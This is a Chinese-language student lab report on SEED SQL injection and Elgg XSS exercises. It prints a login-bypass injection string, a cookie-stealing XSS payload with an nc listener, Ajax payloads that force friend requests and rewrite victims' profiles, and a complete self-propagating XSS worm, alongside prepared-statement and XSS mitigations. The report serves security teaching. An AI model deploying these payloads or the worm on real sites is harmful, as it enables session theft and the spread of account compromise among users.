20212920 许邵 2021-2022-2 《网络攻防实践》实践十报告

20212920 2021-2022-2 《网络攻防实践》实践十报告

1.实践内容

1.1 实践任务要求

一、SEED SQL注入攻击与防御实验
我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:

  • 熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
  • 对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
  • 对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
  • SQL对抗:修复上述SQL注入攻击漏洞。

二、SEED XSS跨站脚本攻击实验(Elgg)
为了演示攻击者可以利用XSS漏洞做什么,SEED Lab在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,我们需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。

  • 发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
  • 弹窗显示cookie信息:将cookie信息显示。
  • 窃取受害者的cookies:将cookie发送给攻击者。
  • 成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
  • 修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
  • 编写XSS蠕虫。
  • 对抗XSS攻击。

1.2 知识拓展

1.2.1 SQL注入的原理

SQL注入攻击是通过操作输入来修改SQL语句,用以达到执行代码对WEB服务器进行攻击的方法。简单的说就是在post/getweb表单、输入域名或页面请求的查询字符串中插入SQL命令,最终使web服务器执行恶意命令的过程。可以通过一个例子简单说明SQL注入攻击。假设某网站页面显示时URL为http://www.example.com?test=123,此时URL实际向服务器传递了值为123的变量test,这表明当前页面是对数据库进行动态查询的结果。由此,我们可以在URL中插入恶意的SQL语句并进行执行。另外,在网站开发过程中,开发人员使用动态字符串构造SQL语句,用来创建所需的应用,这种情况下SQL语句在程序的执行过程中被动态的构造使用,可以根据不同的条件产生不同的SQL语句,比如需要根据不同的要求来查询数据库中的字段。这样的开发过程其实为SQL注入攻击留下了很多的可乘之机。

1.2.2 SQL注入带来的威胁

  • 猜解后台数据库,这是利用最多的方式,盗取网站的敏感信息。
  • 绕过认证,列如绕过验证登录网站后台。
  • 注入可以借助数据库的存储过程进行提权等操作

1.2.3 XSS跨站脚本攻击简介

跨站脚本攻击(XSS),是最普遍的Web应用安全漏洞。 这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。 攻击者可以使用户在浏览器中执行其预定义的恶意脚本,其导致的危害可想而知,如劫持用户会话,插入恶意内容、重定向用户、使用恶意软件劫持用户浏览器、繁殖 XSS蠕虫 ,甚至破坏网站、修改路由器配置信息等。 XSS漏洞可以追溯到上世纪90年代。 大量的网站曾遭受XSS漏洞攻击或被发现此类漏洞,如Twitter、Facebook、MySpace、Orkut、新浪微博和 百度贴吧 。 研究表明,最近几年XSS已经超过 缓冲区溢出 成为最流行的攻击方式,有68%的网站可能遭受此类攻击。
原理:HTML是一种超文本标记语言,通过将一些字符特殊地对待来区别文本和标记,例如,小于符号(<)被看作是HTML标签的开始,之间的字符是页面的标题等等。当动态页面中插入的内容含有这些特殊字符(如<)时,用户浏览器会将其误认为是插入了HTML标签,当这些HTML标签引入了一段JavaScript脚本时,这些脚本程序就将会在用户浏览器中执行。所以,当这些特殊字符不能被动态页面检查或检查出现失误时,就将会产生XSS漏洞。

2.实践过程

2.1 SEED SQL注入攻击与防御实验

2.1.1 mysql环境与基本SQL语句

在SEED Ubuntu 16.04虚拟机中启动mysql
命令:mysql -u root -p,密码:seedubuntu

根据实验要求,我们要选定Users数据库中的creditential的表。
使用show databases;命令查看所有数据库(命令行的末尾要有分号,以表示一句SQL命令)。

使用Users数据库,命令:use Users;
查看Users数据库中的表,命令:show tables;

可以看到,只有一个表credential。
我们用SQL指令select * from credential;查看一下这张表的具体内容。

筛选Alice的信息,命令:select * from cresential where Name='Alice';

2.1.2 对select语句的SQL注入攻击

在虚拟机的浏览器中输入www.SEEDLabSQLInjection.com
输入账户名Admin,然后随便输入一个密码,尝试进行登录。
登录失败。
进一步对该网站进行分析,可以得出,该网站在进行登录验证的操作的时候,使用了unsafe_home.php文件,而这个php文件正好在本机的一个文件夹下:/var/www/SQLInjection

打开这个文件,对这个php文件中的代码进行进一步分析。
这个网站使用SHA1对登录口令进行哈希运算,然后将哈希的结果存储到数据库中,用户在登录时,后台会将用户输入的口令进行SHA1运算,验证其是否与数据库中的值相等。

继续往下看,找到后台进行登录验证时使用的SQL指令。

select id,name,eid,salary,nirth,ssn,phoneNumber,address,email,nickname,Password 
from credential 
WHERE name='$input_uname' and Password='$hashed_pwd'

我们知道,如果在一个mysql指令中输入#,那么#后面的就是对这行指令的注释了。

select id,name,eid,salary,nirth,ssn,phoneNumber,address,email,nickname,Password 
from credential 
WHERE name='$input_uname' # and Password='$hashed_pwd'

比如,在上面的SQL指令中,由于我们在WHERE name='$input_uname'之后插入了#,那么查询登录口令的哈希值相等的条件就变成了注释,这也就意味着只需要输入“用户名+'+空格+#”,就能不用密码即可登录。

回到登录页面,将用户名改为Admin' #,不输入密码,尝试进行登录。

成功黑进该网站。

2.1.3 对update语句的SQL注入攻击

打开unsafe_edit_backend.php文件,找到修改数据库的命令。

类似于上一节的分析,我们只需要在输入的新的昵称$input_nickname后加一个“' #”,就能修改所有用户的昵称!

2.1.4 SQL对抗——SQL注入漏洞的修复

经过上述的分析,我们可以看出,由于在后台使用了一行完整的sql指令进行数据库处理,我们可以借助sql命令格式的特点,使用“#”符号对本该拥有的筛选条件进行“截断”,这样就可以实现未经许可的侵入攻击,达到非法访问和篡改信息的目的。
实际上,实现SQL注入漏洞的修复的方法有很多。常见的修复措施有以下四点:

  • 使用类型安全的参数编码机制。如:预编译指令集,这种方法通过封装好的方法处理输入的参数,避免因直接使用SQL语句字符串而产生的注入漏洞。
  • 对外部的用户输入进行完备性检查。如:正则化过滤、字符串过滤等。
  • 将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象
  • 加强数据库服务器的配置与连接

这里举一个例子。我们可以使用绑定参数的方法,对上述SQL语句进行修复:
修改前:

$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
      FROM credential
      WHERE name= '$input_uname' and Password='$hashed_pwd'";

修改后:

$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);

这样,原有的SQL语句需要填写的地方将以“?”代替,使用bind_param方法,将传入的字符串参数替代字符串中的“?”符号,防止了针对SQL字符串的截断。

2.2 SEED XSS跨站脚本攻击实验(Elgg)

2.2.1 显示警报窗口

在浏览器中输入www.xsslabelgg.com,进入XSS实验网站。

输入用户名Alice和口令seedalice,登录Alice账户。
按照如下图所示方式进入Profile页面。


在Brief Description栏中输入<script>alert("XSS");</alert>,单击“save”保存设置。
在个人简介界面中显示了弹窗提示“XSS”。

2.2.2 cookies信息弹窗显示

修改刚才的brief description中的信息为
<script>alert(document.cookie);</script>
即可显示当前的cookie信息。

2.2.3 窃取受害者的cookies

为了实现窃取受害者的cookies的攻击,我们需要构造下面的payload:
<script>document.write('<img src=http://127.0.0.1:5555?c=' + escape(document.cookie) + '>');</script>
在这个payload中,攻击者会从本机地址的5555端口返回一个图片,并且会得到一个cookie值。
将这个payload修改到brief description。

为了捕获到escape方法中返回的变量c的值,我们打开一个终端,使用命令nc -l 5555 -v
将我们修改的个人信息保存,我们从终端中看到了一些信息:

其中,Get返回的c值就是cookie值。

2.2.4 成为受害者的朋友

我们分析一下添加好友的操作。
先进入一个好友的个人主页,比如说:Boby:www.xsslabelgg.com/profile/boby
在好友的个人主页,按下F12,打开开发者工具,然后切换到Network选项卡。

点击“Add friend”,浏览器便捕获到了一条请求。

点开这个请求,得到请求URL如下:

这个请求URL包含如下信息:

地址:http://www.xsslabelgg.com/action/friends/add
好友ID(friend):45
时间戳:1652894432
token:Nbhjssw5yrGe-cnFAAYYSg

为了添加其他好友,构造下面的payload:

<script type="text/javascript">
window.onload = function () {
    var Ajax = null;
    var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
    var token = "&__elgg_token=" + elgg.security.token.__elgg_token;

  	var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token; 
	Ajax = new XMLHttpRequest();
	Ajax.open("GET", sendurl, true);
	Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
	Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
	Ajax.send();
}
</script>

将这个Payload填写在Alice的用户资料的About me中(要先点击Edit Html切换到HTML编辑模式,也就是那个没有编辑工具栏的模式),保存。

然后用Boby的账号模拟受害者的操作(密码是:seedboby)。
这是在点进Alice主页之前的Boby。

Boby在点进去Alice的主页后,就自动添加Alice为好友了。

使用其他账号(如Samy)也发现了这一现象。

2.2.5 修改受害者的信息

现在,我们分析一下修改个人信息时,会向服务器发送什么样的请求。
进入Alice的修改界面,打开开发人员工具(按F12),将上述实验的请求进行分析。
我们可以看到,请求的链接地址为:http://www.xsslabelgg.com/action/profile/edit

还可以看到token(__elgg_token)和时间戳(__elgg_ts)等信息。

构造下面的payload:

<script type="text/javascript">
    window.onload = function(){
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
        var content= token + ts + "name=" + userName + "&description=<p>This had been changed by XSS attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        var samyGuid=44;
        if(elgg.session.user.guid!=samyGuid)
        {
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
	}
</script>

将这个payload代码拷贝到个人信息的About me中(要切换到Edit HTML模式),点击“保存”。

登录Boby的个人账户,然后点进Alice的个人主页,然后再返回,发现Boby的个人简介变成了“This had been changed by XSS attack.”

2.2.6 编写XSS蠕虫

蠕虫代码如下:

<script id="worm" type="text/javascript">
    window.onload = function(){
        var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
        var jsCode = document.getElementById("worm").innerHTML;
        var tailTag = "</" + "script>"; 
        var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
        var content= token + ts + "&name=" + userName + "&description=<p>Hacked by XSS WORM !!!"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        var samyGuid=44;
        if(elgg.session.user.guid!=samyGuid){
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    }
</script>

这个代码通过将XSS的payload自动复制到受害者的个人资料中实现对受害者的感染。如果有其他用户访问了受害者的个人主页,那么他也会被感染。受到感染后,受害者的个人简介会变为“Hacked by XSS WORM !!!”。
将这个蠕虫代码设为Alice的About me中的信息,保存。

如果好友Boby访问了Alice的主页,就会感染xss蠕虫。

如果另一个用户(如Samy),访问了Boby的主页,那么他也会受到感染。

其他用户,如果访问了这三个感染者的主页,也会无一例外地受到感染。这体现了计算机病毒的可传播性。

2.2.7 XSS攻击的对抗措施

  1. 对输入内容的特定字符进行编码,例如表示 html标记的 < > 等符号。
  2. 对重要的 cookie设置 httpOnly, 防止客户端通过document.cookie读取 cookie,此 HTTP头由服务端设置。
  3. 将不可信的值输出 URL参数之前,进行 URLEncode操作,而对于从 URL参数中获取值一定要进行格式检测(比如你需要的时URL,就判读是否满足URL格式)。
  4. 不要使用 Eval来解析并运行不确定的数据或代码,对于 JSON解析请使用 JSON.parse() 方法。
  5. 后端接口也应该要做到关键字符过滤的问题。

3.学习中遇到的问题及解决

  • 问题1:SEED Ubuntu虚拟机不支持主机与虚拟机之间的复制粘贴。
  • 问题1解决方案:手抄代码,或者将代码保存到一个文件中,使用VMware的共享文件夹功能传输文件。

4.实践总结

在本次实践中,我们亲自尝试了一次XSS攻击和SQL注入攻击,发现了常见的输入框中的漏洞,提醒了我们:在开发Web应用的时候,要对从客户端传输的数据进行检查和处理,确保数据的安全,防止因一些漏洞而导致网站受到攻击。

参考资料

posted @ 2022-05-18 21:29  言午召耳  阅读(13)  评论(0编辑  收藏  举报